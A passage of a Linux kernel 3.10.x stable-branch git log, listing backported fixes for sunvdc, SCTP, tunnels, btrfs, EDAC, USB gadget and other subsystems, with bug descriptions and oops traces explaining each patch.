Signed-off-by: Pranav Vashi commit ebe3338e60232ee934262a3803d4c6ef47c93093 Author: Dwight Engen Date: Fri Sep 19 09:43:02 2014 -0400 vio: fix reuse of vio_dring slot [ Upstream commit d0aedcd4f14a22e23b313f42b7e6e6ebfc0fbc31 ] vio_dring_avail() will allow use of every dring entry, but when the last entry is allocated then dr->prod == dr->cons which is indistinguishable from the ring empty condition. This causes the next allocation to reuse an entry. When this happens in sunvdc, the server side vds driver begins nack'ing the messages and ends up resetting the ldc channel. This problem does not effect sunvnet since it checks for < 2. The fix here is to just never allocate the very last dring slot so that full and empty are not the same condition. The request start path was changed to check for the ring being full a bit earlier, and to stop the blk_queue if there is no space left. The blk_queue will be restarted once the ring is only half full again. The number of ring entries was increased to 512 which matches the sunvnet and Solaris vdc drivers, and greatly reduces the frequency of hitting the ring full condition and the associated blk_queue stop/starting. The checks in sunvent were adjusted to account for vio_dring_avail() returning 1 less. Orabug: 19441666 OraBZ: 14983 Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5451673a9b3d065735e3318c30f02a0862e489d5 Author: Dwight Engen Date: Fri Sep 19 09:42:53 2014 -0400 sunvdc: limit each sg segment to a page [ Upstream commit 5eed69ffd248c9f68f56c710caf07db134aef28b ] ldc_map_sg() could fail its check that the number of pages referred to by the sg scatterlist was <= the number of cookies. This fixes the issue by doing a similar thing to the xen-blkfront driver, ensuring that the scatterlist will only ever contain a segment count <= port->ring_cookies, and each segment will be page aligned, and <= page size. This ensures that the scatterlist is always mappable. Orabug: 19347817 OraBZ: 15945 Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f52ec08bff49624f61bb164476625901a5a9e9e8 Author: Allen Pais Date: Fri Sep 19 09:42:26 2014 -0400 sunvdc: compute vdisk geometry from capacity [ Upstream commit de5b73f08468b4fc5e2f6d1505f650262622f78b ] The LDom diskserver doesn't return reliable geometry data. In addition, the types for all fields in the vio_disk_geom are u16, which were being truncated in the cast into the u8's of the Linux struct hd_geometry. Modify vdc_getgeo() to compute the geometry from the disk's capacity in a manner consistent with xen-blkfront::blkif_getgeo(). Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 38ebf31896a363e1a4e821c48e0e89bd637aff71 Author: Allen Pais Date: Fri Sep 19 09:42:14 2014 -0400 sunvdc: add cdrom and v1.1 protocol support [ Upstream commit 9bce21828d54a95143f1b74619705c2dd8e88b92 ] Interpret the media type from v1.1 protocol to support CDROM/DVD. For v1.0 protocol, a disk's size continues to be calculated from the geometry returned by the vdisk server. The geometry returned by the server can be less than the actual number of sectors available in the backing image/device due to the rounding in the division used to compute the geometry in the vdisk server. In v1.1 protocol a disk's actual size in sectors is returned during the handshake. Use this size when v1.1 protocol is negotiated. Since this size will always be larger than the former geometry computed size, disks created under v1.0 will be forwards compatible to v1.1, but not vice versa. Signed-off-by: Dwight Engen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 664b3652c873560b80a7c08ac2959504878d571a Author: Daniel Borkmann Date: Mon Nov 10 18:00:09 2014 +0100 net: sctp: fix memory leak in auth key management [ Upstream commit 4184b2a79a7612a9272ce20d639934584a1f3786 ] A very minimal and simple user space application allocating an SCTP socket, setting SCTP_AUTH_KEY setsockopt(2) on it and then closing the socket again will leak the memory containing the authentication key from user space: unreferenced object 0xffff8800837047c0 (size 16): comm "a.out", pid 2789, jiffies 4296954322 (age 192.258s) hex dump (first 16 bytes): 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: [] kmemleak_alloc+0x4e/0xb0 [] __kmalloc+0xe8/0x270 [] sctp_auth_create_key+0x23/0x50 [sctp] [] sctp_auth_set_key+0xa1/0x140 [sctp] [] sctp_setsockopt+0xd03/0x1180 [sctp] [] sock_common_setsockopt+0x14/0x20 [] SyS_setsockopt+0x71/0xd0 [] system_call_fastpath+0x12/0x17 [] 0xffffffffffffffff This is bad because of two things, we can bring down a machine from user space when auth_enable=1, but also we would leave security sensitive keying material in memory without clearing it after use. The issue is that sctp_auth_create_key() already sets the refcount to 1, but after allocation sctp_auth_set_key() does an additional refcount on it, and thus leaving it around when we free the socket. Fixes: 65b07e5d0d0 ("[SCTP]: API updates to suport SCTP-AUTH extensions.") Signed-off-by: Daniel Borkmann Cc: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57a0a7d90631ef5b2a35d6b095f0bac03cf10e68 Author: Daniel Borkmann Date: Mon Nov 10 17:54:26 2014 +0100 net: sctp: fix NULL pointer dereference in af->from_addr_param on malformed packet [ Upstream commit e40607cbe270a9e8360907cb1e62ddf0736e4864 ] An SCTP server doing ASCONF will panic on malformed INIT ping-of-death in the form of: ------------ INIT[PARAM: SET_PRIMARY_IP] ------------> While the INIT chunk parameter verification dissects through many things in order to detect malformed input, it misses to actually check parameters inside of parameters. E.g. RFC5061, section 4.2.4 proposes a 'set primary IP address' parameter in ASCONF, which has as a subparameter an address parameter. So an attacker may send a parameter type other than SCTP_PARAM_IPV4_ADDRESS or SCTP_PARAM_IPV6_ADDRESS, param_type2af() will subsequently return 0 and thus sctp_get_af_specific() returns NULL, too, which we then happily dereference unconditionally through af->from_addr_param(). The trace for the log: BUG: unable to handle kernel NULL pointer dereference at 0000000000000078 IP: [] sctp_process_init+0x492/0x990 [sctp] PGD 0 Oops: 0000 [#1] SMP [...] Pid: 0, comm: swapper Not tainted 2.6.32-504.el6.x86_64 #1 Bochs Bochs RIP: 0010:[] [] sctp_process_init+0x492/0x990 [sctp] [...] Call Trace: [] ? sctp_bind_addr_copy+0x5d/0xe0 [sctp] [] sctp_sf_do_5_1B_init+0x21b/0x340 [sctp] [] sctp_do_sm+0x71/0x1210 [sctp] [] ? sctp_endpoint_lookup_assoc+0xc9/0xf0 [sctp] [] sctp_endpoint_bh_rcv+0x116/0x230 [sctp] [] sctp_inq_push+0x56/0x80 [sctp] [] sctp_rcv+0x982/0xa10 [sctp] [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter] [] ? nf_iterate+0x69/0xb0 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? nf_hook_slow+0x76/0x120 [] ? ip_local_deliver_finish+0x0/0x2d0 [...] A minimal way to address this is to check for NULL as we do on all other such occasions where we know sctp_get_af_specific() could possibly return with NULL. Fixes: d6de3097592b ("[SCTP]: Add the handling of "Set Primary IP Address" parameter to INIT") Signed-off-by: Daniel Borkmann Cc: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02bd3d90d1fcd478d3416550d704d4315f9f45b8 Author: Steffen Klassert Date: Mon Nov 3 09:19:30 2014 +0100 gre6: Move the setting of dev->iflink into the ndo_init functions. [ Upstream commit f03eb128e3f4276f46442d14f3b8f864f3775821 ] Otherwise it gets overwritten by register_netdev(). Signed-off-by: Steffen Klassert Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89203bb2874db2a61b0e0797af27c6aa5b7570d8 Author: Steffen Klassert Date: Mon Nov 3 09:19:27 2014 +0100 ip6_tunnel: Use ip6_tnl_dev_init as the ndo_init function. [ Upstream commit 6c6151daaf2d8dc2046d9926539feed5f66bf74e ] ip6_tnl_dev_init() sets the dev->iflink via a call to ip6_tnl_link_config(). After that, register_netdevice() sets dev->iflink = -1. So we loose the iflink configuration for ipv6 tunnels. Fix this by using ip6_tnl_dev_init() as the ndo_init function. Then ip6_tnl_dev_init() is called after dev->iflink is set to -1 from register_netdevice(). Signed-off-by: Steffen Klassert Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49946060858d3ab873551b8386e90a6b9a214e32 Author: Greg Kroah-Hartman Date: Fri Nov 14 08:48:23 2014 -0800 Linux 3.10.60 Signed-off-by: Pranav Vashi commit c3f7a4b266bb69dcbe4f46744ca0acfd9a8ff30c Author: Ilya Dryomov Date: Fri Oct 10 16:39:05 2014 +0400 libceph: ceph-msgr workqueue needs a resque worker commit f9865f06f7f18c6661c88d0511f05c48612319cc upstream. Commit f363e45fd118 ("net/ceph: make ceph_msgr_wq non-reentrant") effectively removed WQ_MEM_RECLAIM flag from ceph_msgr_wq. This is wrong - libceph is very much a memory reclaim path, so restore it. Signed-off-by: Ilya Dryomov Tested-by: Micha Krause Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8683898472f0ea3ccbc121eeb769eaf15e1015aa Author: Chris Mason Date: Tue Nov 4 06:59:04 2014 -0800 Btrfs: fix kfree on list_head in btrfs_lookup_csums_range error cleanup commit 6e5aafb27419f32575b27ef9d6a31e5d54661aca upstream. If we hit any errors in btrfs_lookup_csums_range, we'll loop through all the csums we allocate and free them. But the code was using list_entry incorrectly, and ended up trying to free the on-stack list_head instead. This bug came from commit 0678b6185 btrfs: Don't BUG_ON kzalloc error in btrfs_lookup_csums_range() Signed-off-by: Chris Mason Reported-by: Erik Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a833f899f3bfce55576d0ddffc27e429466a8fd4 Author: Grant Likely Date: Mon Nov 3 15:15:35 2014 +0000 of: Fix overflow bug in string property parsing functions commit a87fa1d81a9fb5e9adca9820e16008c40ad09f33 upstream. The string property read helpers will run off the end of the buffer if it is handed a malformed string property. Rework the parsers to make sure that doesn't happen. At the same time add new test cases to make sure the functions behave themselves. The original implementations of of_property_read_string_index() and of_property_count_strings() both open-coded the same block of parsing code, each with it's own subtly different bugs. The fix here merges functions into a single helper and makes the original functions static inline wrappers around the helper. One non-bugfix aspect of this patch is the addition of a new wrapper, of_property_read_string_array(). The new wrapper is needed by the device_properties feature that Rafael is working on and planning to merge for v3.19. The implementation is identical both with and without the new static inline wrapper, so it just got left in to reduce the churn on the header file. Signed-off-by: Grant Likely Cc: Rafael J. Wysocki Cc: Mika Westerberg Cc: Rob Herring Cc: Arnd Bergmann Cc: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1f1ddb6c23848c7ddf6774d67a547b556755a9a Author: Yijing Wang Date: Fri Nov 7 12:05:49 2014 +0800 sysfs: driver core: Fix glue dir race condition by gdp_mutex commit e4a60d139060975eb956717e4f63ae348d4d8cc5 upstream. There is a race condition when removing glue directory. It can be reproduced in following test: path 1: Add first child device device_add() get_device_parent() /*find parent from glue_dirs.list*/ list_for_each_entry(k, &dev->class->p->glue_dirs.list, entry) if (k->parent == parent_kobj) { kobj = kobject_get(k); break; } .... class_dir_create_and_add() path2: Remove last child device under glue dir device_del() cleanup_device_parent() cleanup_glue_dir() kobject_put(glue_dir); If path2 has been called cleanup_glue_dir(), but not call kobject_put(glue_dir), the glue dir is still in parent's kset list. Meanwhile, path1 find the glue dir from the glue_dirs.list. Path2 may release glue dir before path1 call kobject_get(). So kernel will report the warning and bug_on. This is a "classic" problem we have of a kref in a list that can be found while the last instance could be removed at the same time. This patch reuse gdp_mutex to fix this race condition. The following calltrace is captured in kernel 3.4, but the latest kernel still has this bug. ----------------------------------------------------- <4>[ 3965.441471] WARNING: at ...include/linux/kref.h:41 kobject_get+0x33/0x40() <4>[ 3965.441474] Hardware name: Romley <4>[ 3965.441475] Modules linked in: isd_iop(O) isd_xda(O)... ... <4>[ 3965.441605] Call Trace: <4>[ 3965.441611] [] warn_slowpath_common+0x7a/0xb0 <4>[ 3965.441615] [] warn_slowpath_null+0x15/0x20 <4>[ 3965.441618] [] kobject_get+0x33/0x40 <4>[ 3965.441624] [] get_device_parent.isra.11+0x135/0x1f0 <4>[ 3965.441627] [] device_add+0xd4/0x6d0 <4>[ 3965.441631] [] ? dev_set_name+0x3c/0x40 .... <2>[ 3965.441912] kernel BUG at ..../fs/sysfs/group.c:65! <4>[ 3965.441915] invalid opcode: 0000 [#1] SMP ... <4>[ 3965.686743] [] sysfs_create_group+0xe/0x10 <4>[ 3965.686748] [] blk_trace_init_sysfs+0x14/0x20 <4>[ 3965.686753] [] blk_register_queue+0x3b/0x120 <4>[ 3965.686756] [] add_disk+0x1cc/0x490 .... ------------------------------------------------------- Signed-off-by: Yijing Wang Signed-off-by: Weng Meiling Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f29213d310896f40503620a66f5a580abf090b53 Author: Wolfram Sang Date: Mon Nov 3 21:16:16 2014 +0100 i2c: at91: don't account as iowait commit 11cfbfb098b22d3e57f1f2be217cad20e2d48463 upstream. iowait is for blkio [1]. I2C shouldn't use it. [1] https://lkml.org/lkml/2014/11/3/317 Signed-off-by: Wolfram Sang Acked-by: Ludovic Desroches Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fcf04a1f9b756008e3f66fe57dc974a476fd80f Author: Hans de Goede Date: Wed Oct 22 16:06:38 2014 +0200 acer-wmi: Add acpi_backlight=video quirk for the Acer KAV80 commit 183fd8fcd7f8afb7ac5ec68f83194872f9fecc84 upstream. The acpi-video backlight interface on the Acer KAV80 is broken, and worse it causes the entire machine to slow down significantly after a suspend/resume. Blacklist it, and use the acer-wmi backlight interface instead. Note that the KAV80 is somewhat unique in that it is the only Acer model where we fall back to acer-wmi after blacklisting, rather then using the native (e.g. intel) backlight driver. This is done because there is no native backlight interface on this model. BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1128309 Signed-off-by: Hans de Goede Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53adbeaf8026bb822ca1deb378d4980057e7fd00 Author: Jan Kara Date: Wed Oct 22 09:17:24 2014 +0200 rbd: Fix error recovery in rbd_obj_read_sync() commit a8d4205623ae965e36c68629db306ca0695a2771 upstream. When we fail to allocate page vector in rbd_obj_read_sync() we just basically ignore the problem and continue which will result in an oops later. Fix the problem by returning proper error. CC: Yehuda Sadeh CC: Sage Weil CC: ceph-devel@vger.kernel.org Coverity-id: 1226882 Signed-off-by: Jan Kara Signed-off-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ca86af420a683caf0ead0e168072e1380ba10a6 Author: Alex Deucher Date: Sun Oct 26 15:18:42 2014 -0400 drm/radeon: remove invalid pci id commit 8c3e434769b1707fd2d24de5a2eb25fedc634c4a upstream. 0x4c6e is a secondary device id so should not be used by the driver. Noticed-by: Mark Kettenis Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1fc1102f8986ed2db15ab39e7e604e62e9939af5 Author: Felipe Balbi Date: Mon Nov 10 09:06:20 2014 -0600 usb: gadget: udc: core: fix kernel oops with soft-connect [ Upstream commit bfa6b18c680450c17512c741ed1d818695747621 ] Currently, there's no guarantee that udc->driver will be valid when using soft_connect sysfs interface. In fact, we can very easily trigger a NULL pointer dereference by trying to disconnect when a gadget driver isn't loaded. Fix this bug: ~# echo disconnect > soft_connect [ 33.685743] Unable to handle kernel NULL pointer dereference at virtual address 00000014 [ 33.694221] pgd = ed0cc000 [ 33.697174] [00000014] *pgd=ae351831, *pte=00000000, *ppte=00000000 [ 33.703766] Internal error: Oops: 17 [#1] SMP ARM [ 33.708697] Modules linked in: xhci_plat_hcd xhci_hcd snd_soc_davinci_mcasp snd_soc_tlv320aic3x snd_soc_edma snd_soc_omap snd_soc_evm snd_soc_core dwc3 snd_compress snd_pcm_dmaengine snd_pcm snd_timer snd lis3lv02d_i2c matrix_keypad lis3lv02d dwc3_omap input_polldev soundcore [ 33.734372] CPU: 0 PID: 1457 Comm: bash Not tainted 3.17.0-09740-ga93416e-dirty #345 [ 33.742457] task: ee71ce00 ti: ee68a000 task.ti: ee68a000 [ 33.748116] PC is at usb_udc_softconn_store+0xa4/0xec [ 33.753416] LR is at mark_held_locks+0x78/0x90 [ 33.758057] pc : [] lr : [] psr: 20000013 [ 33.758057] sp : ee68bec8 ip : c0c00008 fp : ee68bee4 [ 33.770050] r10: ee6b394c r9 : ee68bf80 r8 : ee6062c0 [ 33.775508] r7 : 00000000 r6 : ee6062c0 r5 : 0000000b r4 : ee739408 [ 33.782346] r3 : 00000000 r2 : 00000000 r1 : ee71d390 r0 : ee664170 [ 33.789168] Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user [ 33.796636] Control: 10c5387d Table: ad0cc059 DAC: 00000015 [ 33.802638] Process bash (pid: 1457, stack limit = 0xee68a248) [ 33.808740] Stack: (0xee68bec8 to 0xee68c000) [ 33.813299] bec0: 0000000b c0411284 ee6062c0 00000000 ee68bef4 ee68bee8 [ 33.821862] bee0: c04112ac c04df090 ee68bf14 ee68bef8 c01c2868 c0411290 0000000b ee6b3940 [ 33.830419] bf00: 00000000 00000000 ee68bf4c ee68bf18 c01c1a24 c01c2818 00000000 00000000 [ 33.838990] bf20: ee61b940 ee2f47c0 0000000b 000ce408 ee68bf80 c000f304 ee68a000 00000000 [ 33.847544] bf40: ee68bf7c ee68bf50 c0152dd8 c01c1960 ee68bf7c c0170af8 ee68bf7c ee2f47c0 [ 33.856099] bf60: ee2f47c0 000ce408 0000000b c000f304 ee68bfa4 ee68bf80 c0153330 c0152d34 [ 33.864653] bf80: 00000000 00000000 0000000b 000ce408 b6e7fb50 00000004 00000000 ee68bfa8 [ 33.873204] bfa0: c000f080 c01532e8 0000000b 000ce408 00000001 000ce408 0000000b 00000000 [ 33.881763] bfc0: 0000000b 000ce408 b6e7fb50 00000004 0000000b 00000000 000c5758 00000000 [ 33.890319] bfe0: 00000000 bec2c924 b6de422d b6e1d226 40000030 00000001 75716d2f 00657565 [ 33.898890] [] (usb_udc_softconn_store) from [] (dev_attr_store+0x28/0x34) [ 33.907920] [] (dev_attr_store) from [] (sysfs_kf_write+0x5c/0x60) [ 33.916200] [] (sysfs_kf_write) from [] (kernfs_fop_write+0xd0/0x194) [ 33.924773] [] (kernfs_fop_write) from [] (vfs_write+0xb0/0x1bc) [ 33.932874] [] (vfs_write) from [] (SyS_write+0x54/0xb0) [ 33.940247] [] (SyS_write) from [] (ret_fast_syscall+0x0/0x48) [ 33.948160] Code: e1a01007 e12fff33 e5140004 e5143008 (e5933014) [ 33.954625] ---[ end trace f849bead94eab7ea ]--- Fixes: 2ccea03 (usb: gadget: introduce UDC Class) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8beb7604b27760dd503145bf3bd031080b06e3af Author: Felipe Balbi Date: Mon Nov 10 08:56:40 2014 -0600 usb: gadget: function: acm: make f_acm pass USB20CV Chapter9 [ Upstream commit 52ec49a5e56a27c5b6f8217708783eff39f24c16 ] During Halt Endpoint Test, our interrupt endpoint will be disabled, which will clear out ep->desc to NULL. Unless we call config_ep_by_speed() again, we will not be able to enable this endpoint which will make us fail that test. Fixes: f9c56cd (usb: gadget: Clear usb_endpoint_descriptor inside the struct usb_ep on disable) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6158713e208685f4cf01510018d70b1dcd06de3e Author: Felipe Balbi Date: Mon Nov 10 08:55:44 2014 -0600 usb: dwc3: gadget: fix set_halt() bug with pending transfers [ Upstream commit 7a60855972f0d3c014093046cb6f013a1ee5bb19 ] According to our Gadget Framework API documentation, ->set_halt() *must* return -EAGAIN if we have pending transfers (on either direction) or FIFO isn't empty (on TX endpoints). Fix this bug so that the mass storage gadget can be used without stall=0 parameter. This patch should be backported to all kernels since v3.2. Suggested-by: Alan Stern Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89018fff1a5aa8c610ed51c7527a49a9217f1e9e Author: Ondrej Kozina Date: Mon Aug 25 11:49:54 2014 +0200 crypto: algif - avoid excessive use of socket buffer in skcipher commit e2cffb5f493a8b431dc87124388ea59b79f0bccb upstream. On archs with PAGE_SIZE >= 64 KiB the function skcipher_alloc_sgl() fails with -ENOMEM no matter what user space actually requested. This is caused by the fact sock_kmalloc call inside the function tried to allocate more memory than allowed by the default kernel socket buffer size (kernel param net.core.optmem_max). Signed-off-by: Ondrej Kozina Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3f3769d8c1e1e83148e0fbdda180daabacfbf1e Author: Jan Kara Date: Thu Oct 30 10:35:00 2014 +1100 mm: Remove false WARN_ON from pagecache_isize_extended() commit f55fefd1a5a339b1bd08c120b93312d6eb64a9fb upstream. The WARN_ON checking whether i_mutex is held in pagecache_isize_extended() was wrong because some filesystems (e.g. XFS) use different locks for serialization of truncates / writes. So just remove the check. Signed-off-by: Jan Kara Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37d58b22c3402cda07cbd7344077c809f99fa1d0 Author: Andy Lutomirski Date: Wed Oct 15 10:12:07 2014 -0700 x86, apic: Handle a bad TSC more gracefully commit b47dcbdc5161d3d5756f430191e2840d9b855492 upstream. If the TSC is unusable or disabled, then this patch fixes: - Confusion while trying to clear old APIC interrupts. - Division by zero and incorrect programming of the TSC deadline timer. This fixes boot if the CPU has a TSC deadline timer but a missing or broken TSC. The failure to boot can be observed with qemu using -cpu qemu64,-tsc,+tsc-deadline This also happens to me in nested KVM for unknown reasons. With this patch, I can boot cleanly (although without a TSC). Signed-off-by: Andy Lutomirski Cc: Bandan Das Link: http://lkml.kernel.org/r/e2fa274e498c33988efac0ba8b7e3120f7f92d78.1413393027.git.luto@amacapital.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 914db078d3216f5b2abab011dc123ed96780ea96 Author: Mathias Krause Date: Sat Oct 4 23:06:39 2014 +0200 posix-timers: Fix stack info leak in timer_create() commit 6891c4509c792209c44ced55a60f13954cb50ef4 upstream. If userland creates a timer without specifying a sigevent info, we'll create one ourself, using a stack local variable. Particularly will we use the timer ID as sival_int. But as sigev_value is a union containing a pointer and an int, that assignment will only partially initialize sigev_value on systems where the size of a pointer is bigger than the size of an int. On such systems we'll copy the uninitialized stack bytes from the timer_create() call to userland when the timer actually fires and we're going to deliver the signal. Initialize sigev_value with 0 to plug the stack info leak. Found in the PaX patch, written by the PaX Team. Fixes: 5a9fa7307285 ("posix-timers: kill ->it_sigev_signo and...") Signed-off-by: Mathias Krause Cc: Oleg Nesterov Cc: Brad Spengler Cc: PaX Team Link: http://lkml.kernel.org/r/1412456799-32339-1-git-send-email-minipli@googlemail.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cd0c1fd64624508ba460c9f3297cbadf5bc981b Author: Karl Beldan Date: Mon Oct 13 14:34:41 2014 +0200 mac80211: fix typo in starting baserate for rts_cts_rate_idx commit c7abf25af0f41be4b50d44c5b185d52eea360cb8 upstream. It affects non-(V)HT rates and can lead to selecting an rts_cts rate that is not a basic rate or way superior to the reference rate (ATM rates[0] used for the 1st attempt of the protected frame data). E.g, assuming drivers register growing (bitrate) sorted tables of ieee80211_rate-s, having : - rates[0].idx == d'2 and basic_rates == b'10100 will select rts_cts idx b'10011 & ~d'(BIT(2)-1), i.e. 1, likewise - rates[0].idx == d'2 and basic_rates == b'10001 will select rts_cts idx b'10000 The first is not a basic rate and the second is > rates[0]. Also, wrt severity of the addressed misbehavior, ATM we only have one rts_cts_rate_idx rather than one per rate table entry, so this idx might still point to bitrates > rates[1..MAX_RATES]. Fixes: 5253ffb8c9e1 ("mac80211: always pick a basic rate to tx RTS/CTS for pre-HT rates") Signed-off-by: Karl Beldan Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 09c147af72e4f35b8adc6e4c5a313a661908f5d6 Author: Imre Deak Date: Fri Oct 24 20:29:10 2014 +0300 PM / Sleep: fix recovery during resuming from hibernation commit 94fb823fcb4892614f57e59601bb9d4920f24711 upstream. If a device's dev_pm_ops::freeze callback fails during the QUIESCE phase, we don't rollback things correctly calling the thaw and complete callbacks. This could leave some devices in a suspended state in case of an error during resuming from hibernation. Signed-off-by: Imre Deak Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbbcd4ca0570e25a46708c20c5fc7d4890ab4288 Author: Peter Hurley Date: Thu Oct 16 13:51:30 2014 -0400 tty: Fix high cpu load if tty is unreleaseable commit 37b164578826406a173ca7c20d9ba7430134d23e upstream. Kernel oops can cause the tty to be unreleaseable (for example, if n_tty_read() crashes while on the read_wait queue). This will cause tty_release() to endlessly loop without sleeping. Use a killable sleep timeout which grows by 2n+1 jiffies over the interval [0, 120 secs.) and then jumps to forever (but still killable). NB: killable just allows for the task to be rewoken manually, not to be terminated. Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3762360ab5278440f465bf0c7887dca8f336d06a Author: Jan Kara Date: Wed Oct 22 09:06:49 2014 +0200 quota: Properly return errors from dquot_writeback_dquots() commit 474d2605d119479e5aa050f738632e63589d4bb5 upstream. Due to a switched left and right side of an assignment, dquot_writeback_dquots() never returned error. This could result in errors during quota writeback to not be reported to userspace properly. Fix it. Coverity-id: 1226884 Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd41cbaa4f9ed14958cf923cc76d26be25536f3e Author: Jan Kara Date: Tue Sep 16 22:23:10 2014 +0200 ext3: Don't check quota format when there are no quota files commit 7938db449bbc55bbeb164bec7af406212e7e98f1 upstream. The check whether quota format is set even though there are no quota files with journalled quota is pointless and it actually makes it impossible to turn off journalled quotas (as there's no way to unset journalled quota format). Just remove the check. Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ab5ece0aff3bba5dce9db47d01db693aede3315 Author: J. Bruce Fields Date: Wed Oct 22 14:46:29 2014 -0400 nfsd4: fix crash on unknown operation number commit 51904b08072a8bf2b9ed74d1bd7a5300a614471d upstream. Unknown operation numbers are caught in nfsd4_decode_compound() which sets op->opnum to OP_ILLEGAL and op->status to nfserr_op_illegal. The error causes the main loop in nfsd4_proc_compound() to skip most processing. But nfsd4_proc_compound also peeks ahead at the next operation in one case and doesn't take similar precautions there. Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 222a4bfa71a9e6cca1af2cfe94d07f86674b01aa Author: Jason Baron Date: Wed Oct 15 20:47:28 2014 +0000 cpc925_edac: Report UE events properly commit fa19ac4b92bc2b5024af3e868f41f81fa738567a upstream. Fix UE event being reported as HW_EVENT_ERR_CORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/8beb13803500076fef827eab33d523e355d83759.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2231b10fad6dff54ff1f5f46e02c2c6ab0cb619a Author: Jason Baron Date: Sat Oct 18 16:06:32 2014 +0200 e7xxx_edac: Report CE events properly commit 8030122a9ccf939186f8db96c318dbb99b5463f6 upstream. Fix CE event being reported as HW_EVENT_ERR_UNCORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/e6dd616f2cd51583a7e77af6f639b86313c74144.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd9180f4299a0651db8f80dae165976f38d5768e Author: Jason Baron Date: Wed Oct 15 20:47:21 2014 +0000 i3200_edac: Report CE events properly commit 8a3f075d6c9b3612b4a5fb2af8db82b38b20caf0 upstream. Fix CE event being reported as HW_EVENT_ERR_UNCORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/d02465b4f30314b390c12c061502eda5e9d29c52.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36a5eb752063308d1f5d5b1a88b97e263c5e4956 Author: Jason Baron Date: Wed Oct 15 20:47:24 2014 +0000 i82860_edac: Report CE events properly commit ab0543de6ff0877474f57a5aafbb51a61e88676f upstream. Fix CE event being reported as HW_EVENT_ERR_UNCORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/7aee8e244a32ff86b399a8f966c4aae70296aae0.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0a9c6b2af0b9bdfac14c7edc9fcb075ad3ecd5a0 Author: Jan Kara Date: Wed Oct 22 20:13:39 2014 -0600 scsi: Fix error handling in SCSI_IOCTL_SEND_COMMAND commit 84ce0f0e94ac97217398b3b69c21c7a62ebeed05 upstream. When sg_scsi_ioctl() fails to prepare request to submit in blk_rq_map_kern() we jump to a label where we just end up copying (luckily zeroed-out) kernel buffer to userspace instead of reporting error. Fix the problem by jumping to the right label. CC: Jens Axboe CC: linux-scsi@vger.kernel.org Coverity-id: 1226871 Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Fixed up the, now unused, out label. Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi commit 9f8d46a36d089a78896bd25a53fb8290c0147488 Author: Jan Kara Date: Wed Oct 29 14:50:44 2014 -0700 lib/bitmap.c: fix undefined shift in 